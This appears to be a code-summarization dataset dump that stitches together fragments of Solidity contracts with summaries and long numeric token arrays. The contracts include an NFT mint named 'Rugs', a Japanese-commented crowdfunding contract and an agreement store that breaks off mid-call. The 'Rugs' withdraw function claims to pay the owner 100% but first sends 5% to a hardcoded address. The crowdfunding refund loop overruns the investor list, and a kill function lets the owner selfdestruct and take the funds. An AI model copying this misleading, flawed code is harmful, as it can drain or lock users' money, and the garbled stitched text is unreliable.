_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/Rugs_Optimized.sol
pragma solidity >=0.7.0 <0.9.0;
contract Rugs is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenSupply;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.014181 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 100;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
function totalSupply() public view returns (uint256){
return _tokenSupply.current();
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = _tokenSupply.current();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
_tokenSupply.increment();
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will payout the owner 100% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool hs, ) = payable(0x8CB6c5f391c322258528e79a2A52788E9238cdbc).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
} | * @dev See {IERC721-isApprovedForAll}./ | function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
| 2,096,811 | [
1,
9704,
288,
45,
654,
39,
27,
5340,
17,
291,
31639,
1290,
1595,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
915,
353,
31639,
1290,
1595,
12,
2867,
3410,
16,
1758,
3726,
13,
1071,
1476,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
2463,
389,
9497,
12053,
4524,
63,
8443,
6362,
9497,
15533,
203,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x1d50a1bAfEa591435101E0486bB6af3211c764Cd/sources/ballot.sol | candidate's votecount
| uint candidateVoteCount; | 686,511 | [
1,
19188,
1807,
331,
352,
557,
592,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
202,
11890,
225,
5500,
19338,
1380,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
// クラウドファンディングのコントラクト
contract CrowdFunding {
// オーナーのモデル
struct Owner {
// オーナーのアドレス
address mAddress;
}
// 投資家のモデル
struct Investor {
// 投資家のアドレス
address mAddress;
// 投資額
uint mAmount;
}
// キャンペーンのモデル
struct Promotion {
// ステータス
Status mStatus;
// 投資の達成額
uint mTotalAmount;
// 投資の目標額
uint mGoalAmount;
// 締切日
uint mFinishDate;
// 投資の最低額
uint mMinAmount;
}
// ファンディングの状態
enum Status {
// まだ始まっていない状態
WAIT,
// ファンディングをおこなっている状態
FUND,
// ファンディングが成功した状態
SUCCESS,
// ファンディングが失敗した状態
FAILURE
}
// オーナー
Owner private mOwner;
// プロモーション
Promotion private mPromotion;
// 投資家の数
uint public mInvestorsConunt;
// 投資家管理用のマップ
mapping (uint => Investor) public mInvesters;
// オーナー限定のアクセス修飾子を作成
modifier onlyOwner() {
require(msg.sender == mOwner.mAddress);
_;
}
// コンストラクタ
function CrowdFunding(uint duration, uint goalAmount, uint minAmount) public {
require(duration > 0);
require(goalAmount > 0);
require(minAmount > 0);
mOwner.mAddress = msg.sender;
mPromotion.mStatus = Status.FUND;
mPromotion.mTotalAmount = 0;
mPromotion.mGoalAmount = goalAmount;
mPromotion.mFinishDate = now + duration;
mPromotion.mMinAmount = minAmount;
}
// キャンペーンが終了しているかどうか
function isPromotionEnded() public view returns (bool) {
return mPromotion.mStatus == Status.SUCCESS || mPromotion.mStatus == Status.FAILURE;
}
// 最低投資額を設定する
function setMinAmount(uint minAmount) public onlyOwner {
require(minAmount > 0);
mPromotion.mMinAmount = minAmount;
}
// 最低投資額を取得する
function getMinAmount() public view returns (uint) {
return mPromotion.mMinAmount;
}
// 投資する際に呼び出される関数
function fund() payable public {
// キャンペーンが終わっていれば処理を中断させる
require(!isPromotionEnded());
// 最低投資額を下回っている場合は処理を中断させる
require(msg.value >= mPromotion.mMinAmount);
// 投資家と合計投資額を保存する
Investor storage investor = mInvesters[mInvestorsConunt++];
investor.mAddress = msg.sender;
investor.mAmount = msg.value;
mPromotion.mTotalAmount += investor.mAmount;
// 最低投資額を調整する
uint restAmount = mPromotion.mGoalAmount - mPromotion.mTotalAmount;
if (0 < restAmount && restAmount < mPromotion.mMinAmount) {
mPromotion.mMinAmount = restAmount;
}
}
// 目標額に達したかを確認して、キャンペーンの成果における適切な処理を行う
function checkGoalReached() public onlyOwner {
// キャンペーンが終わっていれば処理を中断させる
require(!isPromotionEnded());
// 締め切り前の場合は処理を中断する
require(now >= mPromotion.mFinishDate);
// キャンペーンの成果における適切な処理を行う
if (mPromotion.mTotalAmount >= mPromotion.mGoalAmount) {
// キャンペーン成功
mPromotion.mStatus = Status.SUCCESS;
// オーナー送金する
if (!mOwner.mAddress.send(address(this).balance)) {
revert();
}
} else {
// キャンペーン失敗
mPromotion.mStatus = Status.FAILURE;
// 投資家返金する
uint i = 0;
while (i <= mInvestorsConunt) {
if (!mInvesters[i].mAddress.send(mInvesters[i].mAmount)) {
revert();
}
i++;
}
}
}
// コントラクトを破棄する
function kill() public onlyOwner {
selfdestruct(mOwner.mAddress);
}
}
| キャンペーンのモデル ステータス 投資の達成額 投資の目標額 締切日 投資の最低額 | struct Promotion {
Status mStatus;
uint mTotalAmount;
uint mGoalAmount;
uint mFinishDate;
uint mMinAmount;
}
| 5,400,974 | [
1,
164,
229,
260,
164,
230,
101,
164,
230,
116,
164,
230,
253,
164,
230,
125,
164,
230,
116,
164,
228,
111,
164,
230,
100,
164,
230,
234,
164,
230,
109,
225,
164,
229,
122,
164,
230,
233,
164,
230,
125,
164,
229,
128,
164,
229,
122,
225,
167,
237,
248,
169,
116,
234,
164,
228,
111,
170,
228,
247,
167,
235,
243,
170,
99,
240,
225,
167,
237,
248,
169,
116,
234,
164,
228,
111,
168,
254,
111,
167,
106,
252,
170,
99,
240,
225,
168,
120,
259,
166,
235,
234,
167,
250,
103,
225,
167,
237,
248,
169,
116,
234,
164,
228,
111,
167,
255,
227,
165,
126,
241,
170,
99,
240,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
17552,
8240,
288,
203,
3639,
2685,
312,
1482,
31,
203,
3639,
2254,
312,
5269,
6275,
31,
203,
3639,
2254,
312,
27716,
6275,
31,
203,
3639,
2254,
312,
11641,
1626,
31,
203,
3639,
2254,
312,
2930,
6275,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/432204/0xDD23b1253020B8C66DB630fc091D1cC3E984A878/sources/contracts/TradePairs.sol | * @notice Returns order details given the trader and the clientOrderId @param _trader user's address @param _clientOrderId client Order id assigned by the user @return Order Order Struct/ | function getOrderByClientOrderId(
address _trader,
bytes32 _clientOrderId
) external view override returns (Order memory) {
return orderMap[clientOrderIDMap[_trader][_clientOrderId]];
}
| 16,381,178 | [
1,
1356,
1353,
3189,
864,
326,
1284,
765,
471,
326,
1004,
21303,
565,
389,
313,
1143,
225,
729,
1807,
1758,
565,
389,
2625,
21303,
282,
1004,
4347,
612,
6958,
635,
326,
729,
327,
225,
4347,
225,
4347,
7362,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11973,
858,
1227,
21303,
12,
203,
3639,
1758,
389,
313,
1143,
16,
203,
3639,
1731,
1578,
389,
2625,
21303,
203,
565,
262,
3903,
1476,
3849,
1135,
261,
2448,
3778,
13,
288,
203,
3639,
327,
1353,
863,
63,
2625,
2448,
734,
863,
63,
67,
313,
1143,
6362,
67,
2625,
21303,
13563,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x000000F20032b9e171844B00EA507E11960BD94a/sources/lib/solady/src/tokens/ERC1155.sol | @solidity memory-safe-assembly Revert if `to` is the zero address. Increase and store the updated balance of `to`. | assembly {
let to_ := shl(96, to)
if iszero(to_) {
revert(0x1c, 0x04)
}
{
mstore(0x20, _ERC1155_MASTER_SLOT_SEED)
mstore(0x14, to)
mstore(0x00, id)
let toBalanceSlot := keccak256(0x00, 0x40)
let toBalanceBefore := sload(toBalanceSlot)
let toBalanceAfter := add(toBalanceBefore, amount)
if lt(toBalanceAfter, toBalanceBefore) {
revert(0x1c, 0x04)
}
sstore(toBalanceSlot, toBalanceAfter)
}
mstore(0x20, amount)
log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))
}
| 2,652,835 | [
1,
36,
30205,
560,
3778,
17,
4626,
17,
28050,
868,
1097,
309,
1375,
869,
68,
353,
326,
3634,
1758,
18,
657,
11908,
471,
1707,
326,
3526,
11013,
434,
1375,
869,
8338,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
19931,
288,
203,
5411,
2231,
358,
67,
519,
699,
80,
12,
10525,
16,
358,
13,
203,
5411,
309,
353,
7124,
12,
869,
67,
13,
288,
203,
7734,
15226,
12,
20,
92,
21,
71,
16,
374,
92,
3028,
13,
203,
5411,
289,
203,
5411,
288,
203,
7734,
312,
2233,
12,
20,
92,
3462,
16,
389,
654,
39,
2499,
2539,
67,
28045,
67,
55,
1502,
56,
67,
1090,
2056,
13,
203,
7734,
312,
2233,
12,
20,
92,
3461,
16,
358,
13,
203,
7734,
312,
2233,
12,
20,
92,
713,
16,
612,
13,
203,
7734,
2231,
358,
13937,
8764,
519,
417,
24410,
581,
5034,
12,
20,
92,
713,
16,
374,
92,
7132,
13,
203,
7734,
2231,
358,
13937,
4649,
519,
272,
945,
12,
869,
13937,
8764,
13,
203,
7734,
2231,
358,
13937,
4436,
519,
527,
12,
869,
13937,
4649,
16,
3844,
13,
203,
7734,
309,
13489,
12,
869,
13937,
4436,
16,
358,
13937,
4649,
13,
288,
203,
10792,
15226,
12,
20,
92,
21,
71,
16,
374,
92,
3028,
13,
203,
7734,
289,
203,
7734,
272,
2233,
12,
869,
13937,
8764,
16,
358,
13937,
4436,
13,
203,
5411,
289,
203,
5411,
312,
2233,
12,
20,
92,
3462,
16,
3844,
13,
203,
5411,
613,
24,
12,
20,
92,
713,
16,
374,
92,
7132,
16,
389,
16596,
6553,
67,
20184,
67,
10454,
67,
26587,
16,
4894,
9334,
374,
16,
699,
86,
12,
10525,
16,
358,
67,
3719,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.0;
// Copyright 2020 Keyko GmbH.
// This product includes software developed at BigchainDB GmbH and Ocean Protocol
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import './AgreementStoreLibrary.sol';
import '../conditions/ConditionStoreManager.sol';
import '../conditions/LockPaymentCondition.sol';
import '../registry/DIDRegistry.sol';
import '../templates/TemplateStoreManager.sol';
import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol';
/**
* @title Agreement Store Manager
* @author Keyko & Ocean Protocol
*
* @dev Implementation of the Agreement Store.
*
* The agreement store generates conditions for an agreement template.
* Agreement templates must to be approved in the Template Store
* Each agreement is linked to the DID of an asset.
*/
contract AgreementStoreManager is OwnableUpgradeable, AccessControlUpgradeable {
bytes32 private constant PROXY_ROLE = keccak256('PROXY_ROLE');
function grantProxyRole(address _address) public onlyOwner {
grantRole(PROXY_ROLE, _address);
}
function revokeProxyRole(address _address) public onlyOwner {
revokeRole(PROXY_ROLE, _address);
}
/**
* @dev The Agreement Store Library takes care of the basic storage functions
*/
using AgreementStoreLibrary for AgreementStoreLibrary.AgreementList;
/**
* @dev state storage for the agreements
*/
AgreementStoreLibrary.AgreementList internal agreementList;
ConditionStoreManager internal conditionStoreManager;
TemplateStoreManager internal templateStoreManager;
DIDRegistry internal didRegistry;
/**
* @dev initialize AgreementStoreManager Initializer
* Initializes Ownable. Only on contract creation.
* @param _owner refers to the owner of the contract
* @param _conditionStoreManagerAddress is the address of the connected condition store
* @param _templateStoreManagerAddress is the address of the connected template store
* @param _didRegistryAddress is the address of the connected DID Registry
*/
function initialize(
address _owner,
address _conditionStoreManagerAddress,
address _templateStoreManagerAddress,
address _didRegistryAddress
)
public
initializer
{
require(
_owner != address(0) &&
_conditionStoreManagerAddress != address(0) &&
_templateStoreManagerAddress != address(0) &&
_didRegistryAddress != address(0),
'Invalid address'
);
OwnableUpgradeable.__Ownable_init();
transferOwnership(_owner);
conditionStoreManager = ConditionStoreManager(
_conditionStoreManagerAddress
);
templateStoreManager = TemplateStoreManager(
_templateStoreManagerAddress
);
didRegistry = DIDRegistry(
_didRegistryAddress
);
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
}
/**
* @dev Create a new agreement and associate the agreement created to the address originating the transaction.
* The agreement will create conditions of conditionType with conditionId.
* Only "approved" templates can access this function.
* @param _id is the ID of the new agreement. Must be unique.
* @param _did is the bytes32 DID of the asset. The DID must be registered beforehand.
* @param _conditionTypes is a list of addresses that point to Condition contracts.
* @param _conditionIds is a list of bytes32 content-addressed Condition IDs
* @param _timeLocks is a list of uint time lock values associated to each Condition
* @param _timeOuts is a list of uint time out values associated to each Condition
* @return size the size of the agreement list after the create action.
*/
function createAgreement(
bytes32 _id,
bytes32 _did,
address[] memory _conditionTypes,
bytes32[] memory _conditionIds,
uint[] memory _timeLocks,
uint[] memory _timeOuts
)
public
returns (uint size)
{
return createAgreement(
_id,
_did,
_conditionTypes,
_conditionIds,
_timeLocks,
_timeOuts,
